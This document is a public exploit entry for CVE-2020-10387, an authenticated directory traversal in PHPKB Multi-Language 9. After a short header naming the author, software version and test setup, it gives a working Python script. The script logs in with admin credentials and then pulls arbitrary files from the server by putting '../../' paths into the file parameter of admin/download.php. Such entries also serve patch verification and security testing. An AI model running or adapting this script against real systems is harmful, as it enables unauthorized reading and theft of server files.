PHPKB Multi-Language 9 - Authenticated Directory Traversal

# Exploit Title: PHPKB Multi-Language 9 - Authenticated Directory Traversal
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10387
##########################


#!/usr/bin/env python3
import argparse
import requests
import shutil

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10387 - Authenticated Arbitrary File Download in admin/download.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("file", type=str, help="The file you want to download (starting from PHPKB's base path)")
args = parser.parse_args()

session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code and downloading the file
url = args.url + "/admin/download.php?called=ajax&act=backup-lang&file=../../" + args.file
ext = url.split("/")[-1]
with open(ext, 'wb') as file:
    shutil.copyfileobj(session.get(url, stream=True).raw, file)
del session